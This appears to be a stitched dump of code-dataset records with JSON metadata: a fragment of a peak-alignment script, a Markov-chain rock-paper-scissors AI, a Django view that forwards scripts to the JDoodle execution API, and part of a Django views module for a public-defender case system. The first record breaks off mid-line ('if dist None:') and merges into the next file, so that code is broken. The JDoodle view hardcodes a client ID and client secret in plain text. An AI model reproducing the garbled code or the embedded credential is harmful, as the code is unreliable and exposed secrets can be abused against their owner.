getRawDataMatrix(rawDir)\n linked = linkage(M, 'single')\n alignementOrder = np.delete(np.array(linked),np.s_[2,3],1).astype(int) #Get the pair of peak lists to align and in which order to align\n\n #\n # dendrogram(linked)\n # plt.show()\n\n print(\"\\n--==Performing pairwise peak alignment==--\\n\")\n\n nodesAlignements = {} #dictionary containing the alignement for each leaf and node of the tree obtained via Hierachical clustering\n\n alignementIndex = len(fileNames)-1 #dictionnary key of the new peak lists resulting of the alignement of two peak list\n\n for p in range(len(fileNames)):\n pl = pd.read_csv(peaksDir+fileNames[p],low_memory=False, sep=\"\\t\", comment='#')[['t','r']]\n pl[\"t\"] *= 100 #To normalize the \"r\" and \"t\" axis\n pl = pl.to_numpy().tolist()\n nodesAlignements[p] = pl\n\n\n m = Munkres() # create a Munkres object\n\n for pairs in alignementOrder: #for each node in the tree from bottom to top\n\n unusedPeaks = list(range(len(nodesAlignements[pairs[1]])))\n usedPeaks = []\n if len(nodesAlignements[pairs[0]]) > len(nodesAlignements[pairs[1]]): # The matrix has to has more row than collumns\n pairs = [pairs[1],pairs[0]]\n\n alignementIndex+=1\n nodesAlignements[alignementIndex] = []\n distMat = distance_matrix(nodesAlignements[pairs[0]], nodesAlignements[pairs[1]])\n\n\n indexes = m.compute(distMat)\n nPaired = 0\n for row, column in indexes:\n\n dist = distance.euclidean(nodesAlignements[pairs[0]][row],nodesAlignements[pairs[1]][column])\n usedPeaks.append(column)\n if dist None:\n self.help_items = [rps(\"Q\"), rps(\"H\")]\n self.objects = list(rps)\n self.losing_object = Rules().losing_obj\n self.winning_object = Rules().winning_obj\n self.results = list()\n self.chosen = None\n for i in self.help_items:\n self.objects.remove(i)\n\n def get_object(self) -> rps:\n \"\"\"Selects randomly a rock, scissors or paper object\n\n Returns:\n rps: RPS_object\n \"\"\"\n self.chosen = random.choice(self.objects)\n return self.chosen\n\n def _add_points(self, next: rps) -> None:\n \"\"\"\n Records points from previous round by comparing opponent's choice to\n own previous choise.\n\n Args:\n next (RPS_object): previous selection by opponent\n \"\"\"\n points = 0\n if self.chosen in self.losing_object[next]:\n points = 1\n elif self.chosen in self.winning_object[next]:\n points = -1\n self.results.append(points)\n\n def get_points(self, last_n: int) -> int:\n \"\"\"\n Returns the total points per rounds limited by parameter\n\n Args:\n last_n (int): How many previous rounds to be summed up\n\n Returns:\n int: sum of points\n \"\"\"\n if len(self.results) == 0:\n return 0\n return sum(self.results[-last_n:])\n\n def update(self, next: rps) -> None:\n \"\"\"\n Updates history data with opponent's previous selection\n\n Args:\n next (RPS_object): Opponent's previous selection\n \"\"\"\n self._add_points(next)\n\n\nclass markovRPS(SimpleRPS):\n \"\"\"\n Ai player based on Markov chain. Predicts next move based on opponent's\n past selections\n\n Args:\n SimpleRPS : Inherits the basic methods from naive ai\n\n Attributes:\n observations : int\n number of opponent selections observed, defaults to 1\n prev_choice : RPS_object\n opponent's latest object played\n choices : dict\n Probability matrix based on past observations\n history_len : int\n Markov chain degree, indicates how many past observations are\n used to evaluate next move\n \"\"\"\n\n def __init__(self, history_length: int = 1) -> None:\n super().__init__()\n self.history_len = history_length\n self.observation_count = 0\n self.obs_list = list()\n self.choices = self.__create_matrix()\n\n def __create_matrix(self) -> dict:\n \"\"\"Initializes choices dictionary, which is used as probability\n matrix\"\"\"\n choices = dict()\n key_space = product(self.objects, repeat=self.history_len)\n for p in key_space:\n for n in self.objects:\n if p in choices:\n # update\n choices[p][n] = 0\n else:\n # create new\n choices[p] = dict()\n choices[p][n] = 0\n\n return choices\n\n def update(self, next: rps) -> None:\n \"\"\"\n Updates history data with opponent's previous selection.\n Overrides inherited method with extra features\n\n Args:\n next (RPS_object): Opponent's previous selection\n \"\"\"\n if self.observation_count >= self.history_len:\n self.choices[self.prev_choice][next] += 1\n self._add_observation(next)\n self._add_points(next)\n\n def _add_observation(self, next: rps) -> None:\n \"\"\"\n Stores data of the past opponent's selection. Keeps count of rounds\n played.\n\n Args:\n next (RPS_object): Opponent's previous selection\n \"\"\"\n self.observation_count += 1\n self.obs_list.append(next)\n min_obs = min(self.history_len, len(self.obs_list))\n self.prev_choice = tuple(self.obs_list[-min_obs:])\n\n def get_object(self) -> rps:\n \"\"\"\n Initialized prediction by making a random selection. If sufficient\n history available, then uses transition matrix to make actual\n prediction\n\n Returns:\n RPS_object: prediction of next winning object\n \"\"\"\n random_choice = super().get_object()\n if self.observation_count < self.history_len:\n self.chosen = random_choice\n return random_choice\n else:\n history = self.choices.get(self.prev_choice)\n count = history[random_choice]\n next_choice = random_choice\n for object, past_count in history.items():\n if past_count > count:\n next_choice = object\n\n winning_space = self.losing_object[next_choice]\n\n self.chosen = random.choice(list(winning_space))\n return self.chosen\n\n\nclass multiAi(SimpleRPS):\n \"\"\"\n Collection of Markov chains of different degrees.\n\n Args:\n SimpleRPS : Inherits the basic methods from naive ai\n\n Attributes:\n max_dg : int\n Highest degree of Markov chain to be included to multiAI\n fl : int\n Focus length, number of past rounds to evaluate when\n judging best performing model\n show_stats : bool\n True prints out selection process of best performing model and\n total points in focus range of each ai.\n mcs : dict\n Dictonary including different models\n \"\"\"\n def __init__(\n self, max_degree: int = 5, focus_length: int = 3, show_stats=False\n ) -> None:\n super().__init__()\n self.max_dg = max_degree\n self.fl = focus_length\n self.show_stats = show_stats\n self.mcs = dict()\n\n for i in range(0, self.max_dg):\n self.mcs[i] = markovRPS(history_length=i + 1)\n\n self.mcs[self.max_dg] = SimpleRPS()\n self.max_dg += 1\n\n def get_object(self) -> rps:\n \"\"\"\n Loops through different models and select prediction from the one with\n highest points. If multiple models with equal points chooses the\n simplest (one with lowest index)\n\n Returns:\n RPS_object: prediction of next winning object\n \"\"\"\n best_streak = -1_000_000_000\n best_ai = 0\n\n for i in range(0, self.max_dg):\n next_ai = self.mcs.get(i)\n\n points = next_ai.get_points(self.fl)\n obj = next_ai.get_object()\n if self.show_stats:\n print(\n f\">>> ai #{i} - points {points} - object chosen {obj.name}\"\n )\n if points > best_streak:\n best_ai = i\n best_obj = obj\n best_streak = points\n if self.show_stats:\n print(f\"> ai #{best_ai} chosen\")\n return best_obj\n\n def update(self, next: rps):\n \"\"\"\n Updates history data with opponent's previous selection.\n Overrides inherited method with extra features\n\n Args:\n next (RPS_object): Opponent's previous selection\n \"\"\"\n for i in range(0, self.max_dg):\n next_ai = self.mcs.get(i)\n next_ai.update(next)\n self.mcs[i] = next_ai\n", "repo_name": "petrioski/tiralabra2022", "sub_path": "src/engine/ai.py", "file_name": "ai.py", "file_ext": "py", "file_size_in_byte": 8057, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "resources.selections.RPS_object", "line_number": 28, "usage_type": "call"}, {"api_name": "resources.selections.RPS_object", "line_number": 29, "usage_type": "argument"}, {"api_name": "resources.rules.Rules", "line_number": 30, "usage_type": "call"}, {"api_name": "resources.rules.Rules", "line_number": 31, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 43, "usage_type": "call"}, {"api_name": "resources.selections.RPS_object", "line_number": 37, "usage_type": "name"}, {"api_name": "resources.selections.RPS_object", "line_number": 46, "usage_type": "name"}, {"api_name": "resources.selections.RPS_object", "line_number": 75, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 116, "usage_type": "call"}, {"api_name": "resources.selections.RPS_object", "line_number": 129, "usage_type": "name"}, {"api_name": "resources.selections.RPS_object", "line_number": 142, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 178, "usage_type": "call"}, {"api_name": "resources.selections.RPS_object", "line_number": 155, "usage_type": "name"}, {"api_name": "resources.selections.RPS_object", "line_number": 216, "usage_type": "name"}, {"api_name": "resources.selections.RPS_object", "line_number": 245, "usage_type": "name"}]} {"seq_id": "13415728534", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nimport requests\nfrom django.conf import settings\nimport json\nfrom rest_framework.views import status\nfrom rest_framework.response import Response\nfrom rest_framework import generics\nfrom .models import Songs,EntryValues\nfrom .serializers import SongsSerializer,DataSerializer\n\n\n\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n\ndef home(request):\n result = {}\n\n\n runRequestBody = {'script':'console.log(7+5)',\n 'language': 'nodejs',\n 'versionIndex': '1',\n 'clientId': 'a30091c1257dee59abdb3f8151521d75',\n 'clientSecret' : '34115867169d3630715fd7c9d5e3d110750239ce6fd2646fbddb7d4db92e432f'}\n headers = {'Content-type': 'application/json'}\n\n response = requests.post('https://api.jdoodle.com/execute',data=json.dumps(runRequestBody),headers=headers)\n return HttpResponse(response)\n print(response.json())\n\n\n\n\n\nclass ListSongsView(generics.ListAPIView):\n \"\"\"\n Provides a get method handler.\n \"\"\"\n queryset = Songs.objects.all()\n serializer_class = SongsSerializer\n\n# Create your views here.\n\n\nclass ListCreateDataView(generics.ListCreateAPIView):\n \"\"\"\n GET data/\n POST data/\n \"\"\"\n queryset = EntryValues.objects.all()\n serializer_class = DataSerializer\n\n\n\n def post(self, request, *args, **kwargs):\n\n\n\n a_data = EntryValues.objects.create(\n script=request.data[\"script\"],\n language=request.data[\"language\"],\n versionIndex=request.data[\"versionIndex\"],\n\n )\n runRequestBody = {'script': request.data.get(\"script\"),\n 'language': request.data.get(\"language\"),\n 'versionIndex': request.data.get(\"versionIndex\"),\n 'clientId': settings.APP_ID,\n 'clientSecret': settings.APP_KEY}\n headers = {'Content-type': 'application/json'}\n\n response = requests.post('https://api.jdoodle.com/execute', data=json.dumps(runRequestBody), headers=headers)\n return Response(\n data=response.json(),\n status=status.HTTP_201_CREATED\n )\n\n\nclass ListDataView(generics.ListAPIView):\n \"\"\"\n Provides a get method handler.\n \"\"\"\n queryset = EntryValues.objects.all()\n\n runRequestBody = {'script': 'console.log(7+5)',\n 'language': 'nodejs',\n 'versionIndex': '1',\n 'clientId': settings.APP_ID,\n 'clientSecret': settings.APP_KEY}\n headers = {'Content-type': 'application/json'}\n\n response = requests.post('https://api.jdoodle.com/execute', data=runRequestBody, headers=headers)\n serializer_class = DataSerializer\n", "repo_name": "Bhumika0201/django_local_library", "sub_path": "api/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2820, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.http.HttpResponse", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 29, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 29, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 30, "usage_type": "call"}, {"api_name": "rest_framework.generics.ListAPIView", "line_number": 37, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 37, "usage_type": "name"}, {"api_name": "models.Songs.objects.all", "line_number": 41, "usage_type": "call"}, {"api_name": "models.Songs.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "models.Songs", "line_number": 41, "usage_type": "name"}, {"api_name": "serializers.SongsSerializer", "line_number": 42, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 47, "usage_type": "name"}, {"api_name": "models.EntryValues.objects.all", "line_number": 52, "usage_type": "call"}, {"api_name": "models.EntryValues.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.EntryValues", "line_number": 52, "usage_type": "name"}, {"api_name": "serializers.DataSerializer", "line_number": 53, "usage_type": "name"}, {"api_name": "models.EntryValues.objects.create", "line_number": 61, "usage_type": "call"}, {"api_name": "models.EntryValues.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "models.EntryValues", "line_number": 61, "usage_type": "name"}, {"api_name": "django.conf.settings.APP_ID", "line_number": 70, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 70, "usage_type": "name"}, {"api_name": "django.conf.settings.APP_KEY", "line_number": 71, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 71, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 74, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 74, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 75, "usage_type": "call"}, {"api_name": "rest_framework.views.status.HTTP_201_CREATED", "line_number": 77, "usage_type": "attribute"}, {"api_name": "rest_framework.views.status", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListAPIView", "line_number": 81, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 81, "usage_type": "name"}, {"api_name": "models.EntryValues.objects.all", "line_number": 85, "usage_type": "call"}, {"api_name": "models.EntryValues.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "models.EntryValues", "line_number": 85, "usage_type": "name"}, {"api_name": "django.conf.settings.APP_ID", "line_number": 90, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 90, "usage_type": "name"}, {"api_name": "django.conf.settings.APP_KEY", "line_number": 91, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 91, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 94, "usage_type": "call"}, {"api_name": "serializers.DataSerializer", "line_number": 95, "usage_type": "name"}]} {"seq_id": "20687643416", "text": "# -*- coding: utf-8 -*-\r\nfrom __future__ import absolute_import, division, print_function, unicode_literals # isort:skip\r\n\r\nimport logging\r\n\r\nfrom collections import OrderedDict\r\n# Biblioteca Padrao\r\nfrom datetime import datetime\r\n\r\n# Bibliotecas de terceiros\r\nimport re\r\nimport status\r\nfrom braces.views import MultiplePermissionsRequiredMixin\r\nfrom dal import autocomplete\r\nfrom django.contrib import messages\r\nfrom django.contrib.auth.decorators import login_required, permission_required\r\nfrom django.core.exceptions import ObjectDoesNotExist\r\nfrom django.urls import reverse_lazy, reverse\r\nfrom django.db import transaction, models\r\nfrom django.db.models import Q\r\nfrom django.http import HttpResponseRedirect, JsonResponse\r\nfrom django.shortcuts import redirect, get_object_or_404, render\r\nfrom django.utils import timezone\r\nimport six\r\nfrom django.utils.decorators import method_decorator\r\nfrom django.views import generic\r\nfrom django.views.decorators.cache import cache_page, never_cache\r\nfrom django.views.generic import ListView, TemplateView, View\r\nfrom django.views.generic.edit import UpdateView\r\nfrom djdocuments.views.mixins import FormActionViewMixin\r\nfrom constance import config\r\n\r\n# Solar\r\nfrom atividade_extraordinaria.models import AtividadeExtraordinariaTipo\r\nfrom contrib.utils import validar_cpf, validar_cnpj\r\nfrom defensor.models import Atuacao, Defensor, Documento as DocAtuacao\r\nfrom defensor.forms import LotacaoForm, ExcluirAtuacaoForm\r\nfrom meritocracia.models import IndicadorMeritocracia\r\n\r\n# Modulos locais\r\nfrom . import forms\r\nfrom .models import (\r\n CEP,\r\n Area,\r\n Bairro,\r\n Comarca,\r\n Endereco,\r\n Estado,\r\n Municipio,\r\n Servidor,\r\n Util,\r\n Vara,\r\n Defensoria\r\n)\r\nfrom .services import buscar_servidor_api_athenas_e_ldap\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\n@login_required\r\ndef busca_rapida(request):\r\n\r\n filtro_texto = request.GET.get('filtro', '').strip()\r\n filtro_numero = re.sub('[^0-9]', '', filtro_texto)\r\n filtro_cpf = False\r\n\r\n # Verifica se número é um CPF/CNPJ válido\r\n if len(filtro_numero) == 11 and validar_cpf(filtro_numero):\r\n filtro_cpf = True\r\n elif len(filtro_numero) == 14 and validar_cnpj(filtro_numero):\r\n filtro_cpf = True\r\n\r\n if filtro_numero and not filtro_cpf and len(filtro_numero) != 12:\r\n resposta = redirect('{}?filtro={}'.format(reverse('processo_listar'), filtro_numero))\r\n else:\r\n resposta = redirect('{}?filtro={}'.format(reverse('atendimento_buscar'), filtro_texto))\r\n\r\n return resposta\r\n\r\n\r\n@login_required\r\ndef listar_defensorias(request):\r\n\r\n agora = datetime.now()\r\n\r\n defensorias = Defensoria.objects.filter(ativo=True).order_by('nucleo', 'comarca', 'numero')\r\n\r\n resposta = []\r\n for defensoria in defensorias:\r\n\r\n obj = Util.object_to_dict(defensoria, {})\r\n obj['atuacoes'] = []\r\n\r\n atuacoes = defensoria.all_atuacoes.filter(\r\n Q(ativo=True) &\r\n Q(data_inicial__lte=agora) &\r\n (\r\n Q(data_final__gte=agora) |\r\n Q(data_final=None)\r\n )\r\n ).values(\r\n 'defensor__servidor__nome',\r\n 'data_inicial',\r\n 'data_final',\r\n 'tipo',\r\n 'documento__tipo',\r\n 'documento__numero',\r\n 'documento__data',\r\n )\r\n\r\n for atuacao in atuacoes:\r\n tipo = None\r\n if not atuacao['documento__tipo'] is None:\r\n tipo = DocAtuacao.LISTA_TIPO[atuacao['documento__tipo']][1]\r\n documento = {\r\n 'tipo': tipo,\r\n 'numero': atuacao['documento__numero'],\r\n 'data': atuacao['documento__data'],\r\n }\r\n\r\n if documento['tipo'] and documento['numero'] and documento['data']:\r\n documento['nome'] = '{tipo} {numero} de {data:%d/%m/%Y}'.format(**documento)\r\n\r\n obj['atuacoes'].append({\r\n 'defensor': atuacao['defensor__servidor__nome'],\r\n 'data_inicial': Util.date_to_json(atuacao['data_inicial']),\r\n 'data_final': Util.date_to_json(atuacao['data_final']),\r\n 'tipo': atuacao['tipo'],\r\n 'documento': documento,\r\n })\r\n\r\n resposta.append(obj)\r\n\r\n return JsonResponse(resposta, safe=False)\r\n\r\n\r\n@login_required\r\ndef get_defensoria(request, defensoria_id):\r\n defensoria = get_object_or_404(Defensoria, id=defensoria_id)\r\n agora = datetime.now()\r\n\r\n defensores = defensoria.all_atuacoes.filter(\r\n Q(data_inicial__lte=agora) &\r\n (\r\n Q(data_final__gte=agora) |\r\n Q(data_final=None)\r\n ) &\r\n Q(ativo=True)\r\n ).order_by(\r\n 'defensor__servidor__nome'\r\n ).values_list(\r\n 'defensor_id',\r\n 'defensor__servidor_id',\r\n 'defensor__servidor__nome',\r\n 'defensor__eh_defensor'\r\n ).distinct()\r\n\r\n resposta = Util.object_to_dict(defensoria, {})\r\n resposta['defensores'] = [\r\n {\r\n 'id': d[0],\r\n 'servidor': d[1],\r\n 'nome': d[2],\r\n 'eh_defensor': d[3]\r\n } for d in defensores]\r\n\r\n # se a defensoria está vinculada a um núcleo, recupera qualificacoes relacionadas (apenas para tarefas)\r\n if defensoria.nucleo:\r\n qualificacoes = defensoria.nucleo.qualificacao_set.ativos().tarefas()\r\n resposta['qualificacoes'] = [\r\n Util.object_to_dict(qualificacao, {}) for qualificacao in qualificacoes\r\n ]\r\n else:\r\n resposta['qualificacoes'] = []\r\n\r\n return JsonResponse(resposta)\r\n\r\n\r\nclass DefensoriaListView(ListView):\r\n queryset = Defensoria.objects.ativos().select_related(\r\n 'comarca__coordenadoria',\r\n 'predio'\r\n ).order_by(\r\n 'comarca__nome',\r\n 'numero',\r\n 'nome'\r\n )\r\n model = Defensoria\r\n paginate_by = 50\r\n template_name = \"contrib/defensoria_buscar.html\"\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super(DefensoriaListView, self).get_context_data(**kwargs)\r\n context.update({\r\n 'form': forms.BuscarDefensoriaForm(self.request.GET)\r\n })\r\n return context\r\n\r\n def get_queryset(self):\r\n\r\n queryset = super(DefensoriaListView, self).get_queryset()\r\n q = Q()\r\n\r\n if not self.request.user.has_perm('contrib.view_all_defensorias'):\r\n\r\n if hasattr(self.request.user.servidor, 'defensor') and self.request.user.servidor.defensor.ativo:\r\n defensorias_ids = list(self.request.user.servidor.defensor.defensorias.values_list('id', flat=True))\r\n defensorias_ids += list(Defensoria.objects.filter(mae__in=defensorias_ids).values_list('id', flat=True))\r\n q &= Q(id__in=defensorias_ids)\r\n else:\r\n q &= Q(comarca=self.request.user.servidor.comarca)\r\n\r\n form = forms.BuscarDefensoriaForm(self.request.GET)\r\n\r\n if form.is_valid():\r\n\r\n data = form.cleaned_data\r\n\r\n # Filtro por comarca\r\n if data.get('comarca'):\r\n q &= Q(comarca=data.get('comarca'))\r\n\r\n # Filtro por nome\r\n if data.get('filtro'):\r\n q &= Q(nome__icontains=data.get('filtro'))\r\n\r\n return queryset.filter(q)\r\n\r\n\r\nclass DefensoriaUpdateView(UpdateView):\r\n model = Defensoria\r\n pk_url_kwarg = 'defensoria_id'\r\n template_name = 'contrib/defensoria_cadastrar.html'\r\n form_class = forms.EditarDefensoriaForm\r\n\r\n def form_valid(self, form):\r\n self.object = form.save(commit=False)\r\n\r\n # Se usuário tem permissão, salva tipos de eventos associados à defensoria\r\n if self.request.user.has_perm('contrib.change_defensoriatipoevento'):\r\n\r\n form_tipos_eventos = forms.EditarDefensoriaTiposEventosForm(data=self.request.POST, instance=self.object)\r\n\r\n if form_tipos_eventos.is_valid():\r\n self.object = form_tipos_eventos.save(commit=False)\r\n\r\n self.object.save()\r\n return super().form_valid(form)\r\n\r\n def get_success_url(self):\r\n messages.success(self.request, u'Registro salvo com sucesso!')\r\n return '{}?prev={}'.format(reverse('defensoria_editar', kwargs={'defensoria_id': self.object.id}), self.request.GET.get('prev'))\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n\r\n context.update({\r\n 'form_tipos_eventos': forms.EditarDefensoriaTiposEventosForm(instance=self.object),\r\n 'prev': self.request.GET.get('prev', reverse('defensoria_buscar')),\r\n 'angular': 'CadastroTelefoneCtrl',\r\n 'telefone': self.object.telefone\r\n })\r\n\r\n return context\r\n\r\n\r\nclass DefensoriaTipoEventoUpdateView(TemplateView):\r\n template_name = 'contrib/defensoria_associar_tipos_eventos.html'\r\n form_class = forms.EditarDefensoriaTiposEventosForm\r\n\r\n def get_context_data(self, **kwargs):\r\n\r\n # Recupera lista de defensorias\r\n defensorias = Defensoria.objects.filter(id__in=self.request.GET.getlist('defensoria'))\r\n # Recupera lista de tipos de eventos já associados às defensorias selecionadas\r\n tipos_eventos = AtividadeExtraordinariaTipo.objects.ativos().filter(\r\n defensorias__in=defensorias\r\n )\r\n\r\n context = super().get_context_data(**kwargs)\r\n\r\n context.update({\r\n 'form': self.form_class(initial={'tipos_eventos': tipos_eventos}),\r\n 'defensorias': defensorias\r\n })\r\n\r\n return context\r\n\r\n def post(self, request, *args, **kwargs):\r\n\r\n defensorias = Defensoria.objects.filter(id__in=self.request.POST.getlist('defensoria'))\r\n\r\n for defensoria in defensorias:\r\n form = self.form_class(data=request.POST, instance=defensoria)\r\n if form.is_valid():\r\n form.save()\r\n\r\n messages.success(request, u'Registros salvos com sucesso!')\r\n\r\n return self.get(request, *args, **kwargs)\r\n\r\n\r\ndef cep_to_json_response(cep):\r\n # gera dicionario com dados do cep\r\n data = Util.object_to_dict(cep, {})\r\n data['estado_id'] = cep.municipio.estado.id\r\n data['municipio_id'] = cep.municipio.id\r\n\r\n if cep.bairro:\r\n data['bairro'] = cep.bairro.nome\r\n data['bairro_id'] = cep.bairro.id\r\n\r\n return JsonResponse(data)\r\n\r\n\r\n@login_required\r\ndef get_endereco_by_cep(request, numero):\r\n from pycep_correios import get_address_from_cep, exceptions, WebService\r\n\r\n \"\"\"\r\n Recupera informacoes de endereco a partir do CEP informado\r\n :param request:\r\n :param val:\r\n :return:\r\n \"\"\"\r\n\r\n if len(numero) != 8:\r\n return JsonResponse({'erro': True, 'msg': 'O cep {} está mal formatado'.format(numero)})\r\n\r\n # Verifica se o CEP já existe no banco de dados\r\n cep = CEP.objects.filter(cep=numero).first()\r\n\r\n # Se não encontrado ou expirado, faz busca nos Correios\r\n if (cep is None or cep.expirado):\r\n\r\n try:\r\n data = get_address_from_cep(numero)\r\n # Caso o CEP aponte como invalido, testa com um segundo webservice\r\n except exceptions.InvalidCEP:\r\n try:\r\n data = get_address_from_cep(numero, webservice=WebService.VIACEP)\r\n except exceptions.InvalidCEP:\r\n return JsonResponse({\r\n 'erro': True,\r\n 'servico_disponível': True,\r\n 'msg': 'Erro ao consultar o CEP {} no serviço externo: número inválido'.format(numero)\r\n })\r\n except exceptions.CEPNotFound:\r\n return JsonResponse({\r\n 'erro': True,\r\n 'servico_disponível': True,\r\n 'msg': 'Erro ao consultar o CEP {} no serviço externo: não encontado'.format(numero)\r\n })\r\n except Exception as e:\r\n # Se serviço indisponível retorna dados salvos\r\n if cep:\r\n return cep_to_json_response(cep)\r\n # Se não tiver dados salvos, retorna erro\r\n else:\r\n return JsonResponse({\r\n 'erro': True,\r\n 'servico_disponível': False,\r\n 'msg': 'Erro ao consultar o CEP {} no serviço externo: {}'.format(numero, str(e))\r\n })\r\n\r\n municipio = None\r\n bairro = None\r\n\r\n # Procura por Município\r\n try:\r\n municipio = Municipio.objects.get(\r\n estado__uf=data['uf'],\r\n nome__unaccent__iexact=Util.normalize(data['cidade'])\r\n )\r\n except ObjectDoesNotExist:\r\n # O erro pode ocorrer caso o município tenha mudado de nome\r\n msg = 'Erro ao cadastrar o cep {}: município {} - {} não encontado'.format(numero, data['cidade'], data['uf']) # noqa: E501\r\n logger.error(msg)\r\n return JsonResponse({'erro': True, 'msg': msg})\r\n\r\n # Se informado, procura ou cadastra Bairro\r\n if data['bairro']:\r\n try:\r\n bairro, _ = Bairro.objects.get_or_create(\r\n municipio=municipio,\r\n nome__unaccent__iexact=Util.normalize(data['bairro']),\r\n desativado_em=None,\r\n defaults={\r\n # necessário por ter usado uma func no get_or_create para esse field\r\n 'nome': data['bairro']\r\n }\r\n )\r\n except Bairro.MultipleObjectsReturned:\r\n bairro = Bairro.objects.filter(\r\n municipio=municipio,\r\n nome__unaccent__iexact=Util.normalize(data['bairro']),\r\n desativado_em=None\r\n ).first()\r\n\r\n # Cria/atualiza cadastro do CEP\r\n cep, _ = CEP.objects.update_or_create(\r\n cep=numero,\r\n defaults={\r\n 'municipio': municipio,\r\n 'bairro': bairro,\r\n 'logradouro': data['logradouro'],\r\n 'complemento': data['complemento'],\r\n 'eh_geral': False\r\n }\r\n )\r\n\r\n return cep_to_json_response(cep)\r\n\r\n\r\n@login_required\r\ndef listar_bairro(request, municipio_id):\r\n lst = Bairro.objects.filter(\r\n municipio=municipio_id\r\n ).order_by(\r\n 'nome'\r\n ).distinct(\r\n 'nome'\r\n ).values_list(\r\n 'nome',\r\n flat=True\r\n )\r\n return JsonResponse(list(lst), safe=False)\r\n\r\n\r\n@login_required\r\ndef listar_diretoria(request):\r\n diretorias = OrderedDict()\r\n\r\n for i in Comarca.objects.coordenadorias().ativos().order_by('nome'):\r\n\r\n comarcas = []\r\n for j in i.comarcas():\r\n comarcas.append({'id': j.id, 'nome': j.nome})\r\n diretorias.update({i.nome: {'id': i.id, 'nome': i.nome, 'comarcas': comarcas}})\r\n\r\n return JsonResponse(diretorias)\r\n\r\n\r\n@login_required\r\ndef listar_indicadores_meritocracia(request):\r\n indicadores = []\r\n\r\n for area in IndicadorMeritocracia.objects.filter(ativo=True):\r\n indicadores.append({\r\n 'id': area.id,\r\n 'nome': area.nome,\r\n 'ativo': area.ativo\r\n })\r\n\r\n return JsonResponse(list(indicadores), safe=False)\r\n\r\n\r\n@login_required\r\ndef listar_logradouro(request, municipio_id):\r\n lst = Endereco.objects.filter(\r\n municipio=municipio_id\r\n ).distinct(\r\n 'logradouro'\r\n ).order_by(\r\n 'logradouro'\r\n ).values_list(\r\n 'logradouro',\r\n flat=True\r\n )\r\n return JsonResponse(list(lst), safe=False)\r\n\r\n\r\n@login_required\r\ndef listar_municipio(request):\r\n lst = Municipio.objects.all().order_by('nome').values_list('nome', flat=True)\r\n return JsonResponse(list(lst), safe=False)\r\n\r\n\r\n@login_required\r\n@cache_page(60 * 60 * 24 * 7) # 7 dias\r\ndef listar_municipio_uf(request, estado_id):\r\n arr = []\r\n\r\n lst = Municipio.objects.select_related('comarca__coordenadoria').filter(estado=estado_id).order_by('nome')\r\n for i in lst:\r\n arr.append({\r\n 'id': i.id,\r\n 'nome': i.nome,\r\n 'comarca': {\r\n 'nome': i.comarca.nome,\r\n 'diretoria': i.comarca.coordenadoria.nome if i.comarca.coordenadoria else i.comarca.nome\r\n } if i.comarca else None,\r\n })\r\n\r\n return JsonResponse(arr, safe=False)\r\n\r\n\r\n@login_required\r\n@cache_page(60 * 60 * 24 * 7) # 7 dias\r\ndef listar_estado(request):\r\n arr = []\r\n lst = Estado.objects.all().order_by('nome')\r\n for i in lst:\r\n arr.append({'id': i.id, 'nome': i.nome, 'uf': i.uf})\r\n\r\n return JsonResponse(arr, safe=False)\r\n\r\n\r\n@login_required\r\ndef listar_area(request):\r\n arr = []\r\n for area in Area.objects.filter(ativo=True):\r\n arr.append({\r\n 'id': area.id,\r\n 'nome': area.nome,\r\n 'ativo': area.ativo})\r\n\r\n return JsonResponse(arr, safe=False)\r\n\r\n\r\n@login_required\r\ndef listar_vara(request):\r\n\r\n varas = Vara.objects.filter(\r\n ativo=True\r\n ).extra(\r\n select={'numero': 'CAST(SUBSTRING(nome FROM \\'[0-9]+\\') AS INTEGER)'}\r\n ).order_by(\r\n 'numero', 'nome'\r\n )\r\n\r\n arr = []\r\n for vara in varas:\r\n arr.append({\r\n 'id': vara.id,\r\n 'nome': vara.nome,\r\n 'comarca': vara.comarca_id,\r\n 'grau': vara.grau,\r\n })\r\n\r\n return JsonResponse(arr, safe=False)\r\n\r\n\r\ndef remove_acentos(data):\r\n \"\"\"\r\n Remove acentos de strings unicode ex: u'ção' = u'cao'\r\n :param data:\r\n :return:\r\n \"\"\"\r\n\r\n import string\r\n import unicodedata\r\n\r\n return ''.join(x for x in unicodedata.normalize('NFKD', data) if x in string.ascii_letters).lower()\r\n\r\n\r\nclass BuscarServidorListView(ListView):\r\n template_name = \"contrib/listar_servidor.html\"\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n\r\n context.update({\r\n 'total_ativos': self.get_queryset().filter(ativo=True).count(),\r\n 'total_inativos': 